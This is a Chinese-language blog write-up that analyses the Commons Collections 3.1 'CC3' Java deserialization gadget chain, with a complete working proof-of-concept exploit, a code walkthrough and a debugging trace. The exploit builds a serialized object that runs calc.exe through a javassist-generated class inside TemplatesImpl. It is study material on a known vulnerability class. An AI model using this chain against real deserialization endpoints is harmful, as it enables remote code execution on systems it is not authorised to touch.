简介

CC3 相当于CC1,CC2的结合,环境依赖需要commons collections 3.1,jdk1.7,以及javasisst
对应的利用链如下:

  1. ObjectInputStream.readObject()
  2. AnnotationInvocationHandler.readObject()
  3. Map(Proxy).entrySet()
  4. AnnotationInvocationHandler.invoke()
  5. LazyMap.get()
  6. ChainedTransformer.transform()
  7. ConstantTransformer.transform()
  8. InstantiateTransformer.transform()
  9. newInstance()
  10. TrAXFilter#TrAXFilter()
  11. TemplatesImpl.newTransformer()
  12. TemplatesImpl.getTransletInstance()
  13. TemplatesImpl.defineTransletClasses
  14. newInstance()
  15. Runtime.exec()

前置知识

在分析CC3之前需要了解一下新出现的两个类

TrAXFilter

图片.png

在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实例化,并且参数可控
image.png

CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法

InstantiateTransformer

在该类中实现了Transformer,Serializable接口
图片.png
在它的transform方法中,实现了当传入的input为class时,可以直接获取其对应的构造函数直接实例化并返回
图片.png

POC

  1. package com.myproject;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  5. import javassist.ClassClassPath;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import org.apache.commons.collections.Transformer;
  9. import org.apache.commons.collections.functors.ChainedTransformer;
  10. import org.apache.commons.collections.functors.ConstantTransformer;
  11. import org.apache.commons.collections.functors.InstantiateTransformer;
  12. import org.apache.commons.collections.map.LazyMap;
  13. import javax.xml.transform.Templates;
  14. import java.io.FileInputStream;
  15. import java.io.FileOutputStream;
  16. import java.io.ObjectInputStream;
  17. import java.io.ObjectOutputStream;
  18. import java.lang.annotation.Retention;
  19. import java.lang.annotation.Target;
  20. import java.lang.reflect.*;
  21. import java.util.HashMap;
  22. import java.util.Map;
  23. public class TestCC3 {
  24. public static void main(String[] args) throws Exception {
  25. ClassPool pool = ClassPool.getDefault();
  26. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  27. CtClass cc = pool.makeClass("Cat");
  28. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  29. cc.makeClassInitializer().insertBefore(cmd);
  30. String randomClassName = "EvilCat" + System.nanoTime();
  31. cc.setName(randomClassName);
  32. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  33. // cc.writeFile();
  34. byte[] classBytes = cc.toBytecode();
  35. byte[][] targetByteCodes = new byte[][]{classBytes};
  36. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  37. setFieldValue(templates, "_bytecodes", targetByteCodes);
  38. setFieldValue(templates, "_name", "1");
  39. Transformer[] transformers = new Transformer[] {
  40. new ConstantTransformer(TrAXFilter.class),
  41. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  42. };
  43. ChainedTransformer transformerChain = new ChainedTransformer(transformers);
  44. Map innerMap = new HashMap();
  45. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  46. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  47. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  48. constructor.setAccessible(true);
  49. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
  50. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  51. handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
  52. try{
  53. FileOutputStream fileOutputStream = new FileOutputStream("payload3.ser");
  54. ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
  55. objectOutputStream.writeObject(handler);
  56. FileInputStream fileInputStream = new FileInputStream("payload3.ser");
  57. ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
  58. objectInputStream.readObject();
  59. }catch (Exception e){
  60. e.printStackTrace();
  61. }
  62. }
  63. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  64. final Field field = getField(obj.getClass(), fieldName);
  65. field.set(obj, value);
  66. }
  67. public static Field getField(final Class<?> clazz, final String fieldName) {
  68. Field field = null;
  69. try {
  70. field = clazz.getDeclaredField(fieldName);
  71. field.setAccessible(true);
  72. }
  73. catch (NoSuchFieldException ex) {
  74. if (clazz.getSuperclass() != null)
  75. field = getField(clazz.getSuperclass(), fieldName);
  76. }
  77. return field;
  78. }
  79. }

分析

0x1

与CC2 相同,通过javasisst动态创建一个类,这个类里包括static代码,只要实例化这个类就能执行static里的代码,最后将该类转换成字节码存储在byte[][]这个二维数组中,在CC2 中可以知道这个字节码是被用来存储在private byte[][] _bytecodes这个二维数组中被实例化的

  1. ClassPool pool = ClassPool.getDefault();
  2. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  3. CtClass cc = pool.makeClass("Cat");
  4. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  5. cc.makeClassInitializer().insertBefore(cmd);
  6. String randomClassName = "EvilCat" + System.nanoTime();
  7. cc.setName(randomClassName);
  8. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  9. // cc.writeFile();
  10. byte[] classBytes = cc.toBytecode();
  11. byte[][] targetByteCodes = new byte[][]{classBytes};
  12. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  13. setFieldValue(templates, "_bytecodes", targetByteCodes);
  14. setFieldValue(templates, "_name", "1");
  15. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  16. final Field field = getField(obj.getClass(), fieldName);
  17. field.set(obj, value);
  18. }
  19. public static Field getField(final Class<?> clazz, final String fieldName) {
  20. Field field = null;
  21. try {
  22. field = clazz.getDeclaredField(fieldName);
  23. field.setAccessible(true);
  24. }
  25. catch (NoSuchFieldException ex) {
  26. if (clazz.getSuperclass() != null)
  27. field = getField(clazz.getSuperclass(), fieldName);
  28. }
  29. return field;
  30. }

0x2

第二步同CC1的LazyMap 利用链,不过这里的Transformer[]中,ConstantTransformer的构造函数传入的TrAXFilter.class,而这个类构造函数接收的_templates参数,也就是我们在第一步中构造的_templates实例,当调用(TransformerImpl) templates.newTransformer();的时候,就会调用我们构造的恶意类的static方法

  1. Transformer[] transformers = new Transformer[] {
  2. new ConstantTransformer(TrAXFilter.class),
  3. new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
  4. };
  5. ChainedTransformer transformerChain = new ChainedTransformer(transformers);
  6. Map innerMap = new HashMap();
  7. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  8. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  9. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  10. constructor.setAccessible(true);
  11. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
  12. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  13. handler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);

而怎么才能调用(TransformerImpl) templates.newTransformer();呢,这个时候就要用InstantiateTransformer了,InstantiateTransformer,前置知识中提到了该类实现了Transformer,Serializable接口,当传入的input为class时,可以直接获取其对应的构造函数直接实例化并返回
图片.png
那么当链式调用的时候,传入input是TrAXFilter,在对其进行实例化的时候,我们已经通过InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})构造函数,已经将iParamTypesiArgs传入,其中iParamTypes = Templates.class, iArgs = javasisst创建的恶意类,在实例化的时候
image.png

0x3

LazyMap get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码2的条件
image.png

0x4

还是P牛那句话:

如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。

AnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法;
而在readObject方法中调用了entrySet()方法,所以触发invoke
image.png
image.png
image.png
这样就基本上达到了执行命令所需要的条件。

调试

this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;
image.png
跟进到ChainedTransformer.transform(),对transformers[]数组进行循环;
image.png第一轮循环,iTransformers[0]参数值为ConstantTransformer,进入它的transform方法,返回TrAXFilter类;
image.png第二轮循坏,iTransformers[1]参数值为InstantiateTransformer,TrAXFilter作为参数传入transform方法;
image.png
在getConstructor(iParamTypes)中,iParamTypes参数为Templates类,获取到构造函数为TrAXFilter,且在实例化的时候,需要传递Templates类型的参数,iargs则是我们构造的对应的Templates类实例(templates),在实例化过程中,再调用TransformerImpl的newTransformer();
image.png跟进newTransformer(),调用了getTransletInstance()方法;
image.png
实例化_class[_transletIndex],该参数的值就为EvilCat9080096364400()
image.png
最后命令执行成功
image.png

参考链接

https://xz.aliyun.com/t/10454#toc-1